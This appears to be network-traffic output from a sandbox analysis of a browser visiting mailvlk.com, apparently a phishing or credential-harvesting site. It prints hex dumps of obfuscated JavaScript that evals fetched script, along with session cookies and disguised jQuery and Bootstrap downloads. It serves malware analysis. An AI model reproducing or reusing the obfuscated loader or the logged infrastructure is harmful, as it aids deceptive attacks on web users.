2024-04-24 13:43:21 UTC	626	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Eyqmqengkh7J1UEaWorpLwAYzWY1Xg6%2BzJtKrgkTiUgtbwhJpSB67n5IaCtbMtVltHT7UJNBdrcyRRBfx6nmKBUtIN%2Fkw1CE%2BRxGolS1yfU3a7lgIgmDcPScXPKEsw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879685966a5e2aa4-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:21 UTC	743	IN	Data Raw: 31 31 37 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 6a 71 2f 35 38 34 36 31 66 31 38 66 33 36 63 62 63 39 38 35 34 61 34 31 31 63 63 66 34 61 65 38 64 62 62 36 36 32 39 30 63 37 39 39 30 34 64 30 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 Data Ascii: 1170<!DOCTYPE html><html><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title></title> <script src="jq/58461f18f36cbc9854a411ccf4ae8dbb66290c79904d0"></script> <script sr
2024-04-24 13:43:21 UTC	1369	IN	Data Raw: 72 73 65 49 6e 74 28 4b 28 27 30 78 31 34 33 27 29 29 2f 30 78 37 2b 70 61 72 73 65 49 6e 74 28 4b 28 30 78 31 35 62 29 29 2f 30 78 38 2a 28 70 61 72 73 65 49 6e 74 28 4b 28 27 30 78 31 38 30 27 29 29 2f 30 78 39 29 3b 69 66 28 58 3d 3d 3d 54 29 62 72 65 61 6b 3b 65 6c 73 65 20 53 5b 27 70 75 73 68 27 5d 28 53 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 63 61 74 63 68 28 79 29 7b 53 5b 27 70 75 73 68 27 5d 28 53 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 7d 7d 28 49 2c 30 78 36 64 65 66 31 29 29 3b 76 61 72 20 47 3d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 71 3d 21 21 5b 5d 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 54 2c 53 29 7b 76 61 72 20 58 3d 71 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 72 3b 69 66 28 53 29 7b 76 61 72 20 79 Data Ascii: rseInt(K('0x143'))/0x7+parseInt(K(0x15b))/0x8*(parseInt(K('0x180'))/0x9);if(X===T)break;else S['push'](S['shift']());}catch(y){S['push'](S['shift']());}}}(I,0x6def1));var G=(function(){var q=!![];return function(T,S){var X=q?function(){var t=r;if(S){var y
2024-04-24 13:43:21 UTC	1369	IN	Data Raw: 35 35 29 5d 3b 79 2b 2b 29 7b 76 61 72 20 57 3d 66 5b 6d 28 27 30 78 31 34 63 27 29 5d 5b 6d 28 30 78 31 34 30 29 5d 5b 6d 28 30 78 31 36 66 29 5d 28 66 29 2c 45 3d 58 5b 79 5d 2c 6e 3d 53 5b 45 5d 7c 7c 57 3b 57 5b 6d 28 27 30 78 31 34 39 27 29 5d 3d 66 5b 6d 28 27 30 78 31 36 66 27 29 5d 28 66 29 2c 57 5b 6d 28 30 78 31 35 64 29 5d 3d 6e 5b 6d 28 30 78 31 35 64 29 5d 5b 6d 28 27 30 78 31 36 66 27 29 5d 28 6e 29 2c 53 5b 45 5d 3d 57 3b 7d 7d 29 3b 56 28 29 3b 76 61 72 20 78 68 74 74 70 3d 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 28 29 3b 66 75 6e 63 74 69 6f 6e 20 49 28 29 7b 76 61 72 20 67 3d 5b 27 62 69 6e 64 27 2c 27 6c 69 6e 6b 27 2c 27 63 68 61 69 6e 27 2c 27 32 71 6e 46 73 54 77 27 2c 27 72 65 73 70 6f 6e 73 65 54 65 78 74 27 2c 27 73 Data Ascii: 55)];y++){var W=f[m('0x14c')][m(0x140)][m(0x16f)](f),E=X[y],n=S[E]\|\|W;W[m('0x149')]=f[m('0x16f')](f),W[m(0x15d)]=n[m(0x15d)][m('0x16f')](n),S[E]=W;}});V();var xhttp=new XMLHttpRequest();function I(){var g=['bind','link','chain','2qnFsTw','responseText','s
2024-04-24 13:43:21 UTC	991	IN	Data Raw: 72 20 79 3d 30 78 30 3b 79 3c 53 5b 63 28 27 30 78 31 35 35 27 29 5d 3b 79 2b 2b 29 7b 76 61 72 20 57 3d 53 5b 79 5d 5b 63 28 27 30 78 31 34 36 27 29 5d 28 63 28 30 78 31 35 39 29 29 3b 57 3f 58 5b 63 28 27 30 78 31 36 35 27 29 5d 28 57 29 3a 65 76 61 6c 28 53 5b 79 5d 5b 63 28 30 78 31 34 62 29 5d 29 3b 7d 76 61 72 20 45 3d 54 5b 63 28 30 78 31 36 64 29 5d 28 63 28 30 78 31 37 30 29 29 3b 66 6f 72 28 76 61 72 20 79 3d 30 78 30 3b 79 3c 45 5b 63 28 27 30 78 31 35 35 27 29 5d 3b 79 2b 2b 29 7b 76 61 72 20 6e 3d 45 5b 79 5d 5b 63 28 27 30 78 31 34 36 27 29 5d 28 63 28 30 78 31 35 61 29 29 3b 69 66 28 6e 26 26 6e 5b 63 28 27 30 78 31 37 64 27 29 5d 28 63 28 30 78 31 35 30 29 29 29 7b 76 61 72 20 75 3d 64 6f 63 75 6d 65 6e 74 5b 63 28 27 30 78 31 37 39 27 29 Data Ascii: r y=0x0;y<S[c('0x155')];y++){var W=S[y][c('0x146')](c(0x159));W?X[c('0x165')](W):eval(S[y][c(0x14b)]);}var E=T[c(0x16d)](c(0x170));for(var y=0x0;y<E[c('0x155')];y++){var n=E[y][c('0x146')](c(0x15a));if(n&&n[c('0x17d')](c(0x150))){var u=document[c('0x179')
2024-04-24 13:43:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.17	49775	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:22 UTC	1136	OUT	GET /jq/58461f18f36cbc9854a411ccf4ae8dbb66290c79904d0 HTTP/1.1 Host: mailvlk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:43:22 UTC	669	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:22 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close last-modified: Tue, 23 Apr 2024 16:46:58 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EDGPkfNAoYFf4IJzBRO%2B6gHSmBbEJ2mgba30LxRa61H%2FuQ80qM7yBpQo%2Btt%2B1tZ0dej9ps%2FilNjeevLirc%2FV5fOL88Jt8Fn1F8stKzioW2QdawHrb6KekgyE3LBxDQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8796859cec952f4f-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:22 UTC	700	IN	Data Raw: 36 30 35 61 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 32 2e 32 2e 34 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 69 74 68 20 61 20 64 Data Ascii: 605a/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a d
2024-04-24 13:43:22 UTC	1369	IN	Data Raw: 73 29 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 61 3f 30 3e 61 3f 74 68 69 73 5b 61 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 61 5d 3a 65 2e 63 61 6c 6c 28 74 68 69 73 29 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 6e 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 2e 63 6f 6e 74 65 78 74 3d 74 68 69 73 2e 63 6f 6e 74 65 78 74 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 Data Ascii: s)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return th
2024-04-24 13:43:22 UTC	1369	IN	Data Raw: 3d 61 26 26 61 2e 74 6f 53 74 72 69 6e 67 28 29 3b 72 65 74 75 72 6e 21 6e 2e 69 73 41 72 72 61 79 28 61 29 26 26 62 2d 70 61 72 73 65 46 6c 6f 61 74 28 62 29 2b 31 3e 3d 30 7d 2c 69 73 50 6c 61 69 6e 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 3d 6e 2e 74 79 70 65 28 61 29 7c 7c 61 2e 6e 6f 64 65 54 79 70 65 7c 7c 6e 2e 69 73 57 69 6e 64 6f 77 28 61 29 29 72 65 74 75 72 6e 21 31 3b 69 66 28 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 26 26 21 6b 2e 63 61 6c 6c 28 61 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 21 6b 2e 63 61 6c 6c 28 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 7b 7d 2c 22 69 73 50 72 6f 74 6f 74 79 70 65 4f 66 22 29 29 72 65 74 75 72 6e Data Ascii: =a&&a.toString();return!n.isArray(a)&&b-parseFloat(b)+1>=0},isPlainObject:function(a){var b;if("object"!==n.type(a)\|\|a.nodeType\|\|n.isWindow(a))return!1;if(a.constructor&&!k.call(a,"constructor")&&!k.call(a.constructor.prototype\|\|{},"isPrototypeOf"))return
2024-04-24 13:43:22 UTC	1369	IN	Data Raw: 68 28 61 5b 66 5d 29 3b 72 65 74 75 72 6e 20 65 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 2c 65 2c 67 3d 30 2c 68 3d 5b 5d 3b 69 66 28 73 28 61 29 29 66 6f 72 28 64 3d 61 2e 6c 65 6e 67 74 68 3b 64 3e 67 3b 67 2b 2b 29 65 3d 62 28 61 5b 67 5d 2c 67 2c 63 29 2c 6e 75 6c 6c 21 3d 65 26 26 68 2e 70 75 73 68 28 65 29 3b 65 6c 73 65 20 66 6f 72 28 67 20 69 6e 20 61 29 65 3d 62 28 61 5b 67 5d 2c 67 2c 63 29 2c 6e 75 6c 6c 21 3d 65 26 26 68 2e 70 75 73 68 28 65 29 3b 72 65 74 75 72 6e 20 66 2e 61 70 70 6c 79 28 5b 5d 2c 68 29 7d 2c 67 75 69 64 3a 31 2c 70 72 6f 78 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 2c 66 3b 72 65 74 75 72 6e 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 26 26 28 63 Data Ascii: h(a[f]);return e},map:function(a,b,c){var d,e,g=0,h=[];if(s(a))for(d=a.length;d>g;g++)e=b(a[g],g,c),null!=e&&h.push(e);else for(g in a)e=b(a[g],g,c),null!=e&&h.push(e);return f.apply([],h)},guid:1,proxy:function(a,b){var c,d,f;return"string"==typeof b&&(c
2024-04-24 13:43:22 UTC	1369	IN	Data Raw: 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 7c 28 22 2b 4d 2b 22 29 29 7c 29 22 2b 4c 2b 22 2a 5c 5c 5d 22 2c 4f 3d 22 3a 28 22 2b 4d 2b 22 29 28 3f 3a 5c 5c 28 28 28 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 29 7c 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 28 29 5b 5c 5c 5d 5d 7c 22 2b 4e 2b 22 29 2a 29 7c 2e 2a 29 5c 5c 29 7c 29 22 2c 50 3d 6e 65 77 20 52 65 67 45 78 70 28 4c 2b 22 2b 22 2c 22 67 22 29 2c 51 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4c 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d 29 28 3f 3a 5c 5c 5c 5c 2e 29 2a 29 22 2b 4c 2b 22 2b 24 22 2c 22 67 22 29 Data Ascii: \\']))'\|\"((?:\\\\.\|[^\\\\\"]))\"\|("+M+"))\|)"+L+"\\]",O=":("+M+")(?:\$(('((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\")\|((?:\\\\.\|[^\\\\()[\\]]\|"+N+"))\|.)\$\|)",P=new RegExp(L+"+","g"),Q=new RegExp("^"+L+"+\|((?:^\|[^\\\\])(?:\\\\.))"+L+"+$","g")
2024-04-24 13:43:22 UTC	1369	IN	Data Raw: 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 61 2e 6c 65 6e 67 74 68 2c 64 3d 30 3b 77 68 69 6c 65 28 61 5b 63 2b 2b 5d 3d 62 5b 64 2b 2b 5d 29 3b 61 2e 6c 65 6e 67 74 68 3d 63 2d 31 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 61 28 61 2c 62 2c 64 2c 65 29 7b 76 61 72 20 66 2c 68 2c 6a 2c 6b 2c 6c 2c 6f 2c 72 2c 73 2c 77 3d 62 26 26 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2c 78 3d 62 3f 62 2e 6e 6f 64 65 54 79 70 65 3a 39 3b 69 66 28 64 3d 64 7c 7c 5b 5d 2c 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 61 7c 7c 21 61 7c 7c 31 21 3d 3d 78 26 26 39 21 3d 3d 78 26 26 31 31 21 3d 3d 78 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d Data Ascii: )}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function fa(a,b,d,e){var f,h,j,k,l,o,r,s,w=b&&b.ownerDocument,x=b?b.nodeType:9;if(d=d\|\|[],"string"!=typeof a\|\|!a\|\|1!==x&&9!==x&&11!==x)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m
2024-04-24 13:43:22 UTC	1369	IN	Data Raw: 20 63 3d 61 2e 73 70 6c 69 74 28 22 7c 22 29 2c 65 3d 63 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 65 2d 2d 29 64 2e 61 74 74 72 48 61 6e 64 6c 65 5b 63 5b 65 5d 5d 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 6b 61 28 61 2c 62 29 7b 76 61 72 20 63 3d 62 26 26 61 2c 64 3d 63 26 26 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 26 26 31 3d 3d 3d 62 2e 6e 6f 64 65 54 79 70 65 26 26 28 7e 62 2e 73 6f 75 72 63 65 49 6e 64 65 78 7c 7c 43 29 2d 28 7e 61 2e 73 6f 75 72 63 65 49 6e 64 65 78 7c 7c 43 29 3b 69 66 28 64 29 72 65 74 75 72 6e 20 64 3b 69 66 28 63 29 77 68 69 6c 65 28 63 3d 63 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 69 66 28 63 3d 3d 3d 62 29 72 65 74 75 72 6e 2d 31 3b 72 65 74 75 72 6e 20 61 3f 31 3a 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 6c 61 28 61 29 7b 72 65 74 75 Data Ascii: c=a.split("\|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function ka(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex\|\|C)-(~a.sourceIndex\|\|C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function la(a){retu
2024-04-24 13:43:22 UTC	1369	IN	Data Raw: 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 72 65 74 75 72 6e 20 63 3f 5b 63 5d 3a 5b 5d 7d 7d 2c 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 62 61 2c 63 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 Data Ascii: etElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ba,ca);return function(a){return a.getAtt
2024-04-24 13:43:22 UTC	1369	IN	Data Raw: 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 7d 29 2c 69 61 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 71 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4c 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 65 Data Ascii: ("a#"+u+"+").length\|\|q.push(".#.+[+~]")}),ia(function(a){var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"[*^$\|!~]?="),a.querySelectorAll(":e
2024-04-24 13:43:22 UTC	1369	IN	Data Raw: 6e 74 4e 6f 64 65 2c 66 3d 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 67 3d 5b 61 5d 2c 68 3d 5b 62 5d 3b 69 66 28 21 65 7c 7c 21 66 29 72 65 74 75 72 6e 20 61 3d 3d 3d 6e 3f 2d 31 3a 62 3d 3d 3d 6e 3f 31 3a 65 3f 2d 31 3a 66 3f 31 3a 6b 3f 4a 28 6b 2c 61 29 2d 4a 28 6b 2c 62 29 3a 30 3b 69 66 28 65 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6b 61 28 61 2c 62 29 3b 63 3d 61 3b 77 68 69 6c 65 28 63 3d 63 2e 70 61 72 65 6e 74 4e 6f 64 65 29 67 2e 75 6e 73 68 69 66 74 28 63 29 3b 63 3d 62 3b 77 68 69 6c 65 28 63 3d 63 2e 70 61 72 65 6e 74 4e 6f 64 65 29 68 2e 75 6e 73 68 69 66 74 28 63 29 3b 77 68 69 6c 65 28 67 5b 64 5d 3d 3d 3d 68 5b 64 5d 29 64 2b 2b 3b 72 65 74 75 72 6e 20 64 3f 6b 61 28 67 5b 64 5d 2c 68 5b 64 5d 29 3a 67 5b 64 5d 3d 3d 3d 76 3f 2d 31 3a 68 5b 64 Data Ascii: ntNode,f=b.parentNode,g=[a],h=[b];if(!e\|\|!f)return a===n?-1:b===n?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return ka(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?ka(g[d],h[d]):g[d]===v?-1:h[d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.17	49774	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:22 UTC	1138	OUT	GET /boot/58461f18f36cbc9854a411ccf4ae8dbb66290c79904d5 HTTP/1.1 Host: mailvlk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:43:22 UTC	665	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:22 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close last-modified: Tue, 23 Apr 2024 16:46:58 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7YovLKvNQzneedOS1lQvCH6mg4fV%2Bpv%2BES4wIZygjSG%2BRl6xnH9fouGdd%2BotVBlp183O9QGmvyMH9okOVuSUX8jHR72G2xLOmqfwUjdGbDqyMW51PdMe9SS9V35rgQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8796859cfc81311c-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:22 UTC	704	IN	Data Raw: 37 64 31 39 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7d19/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
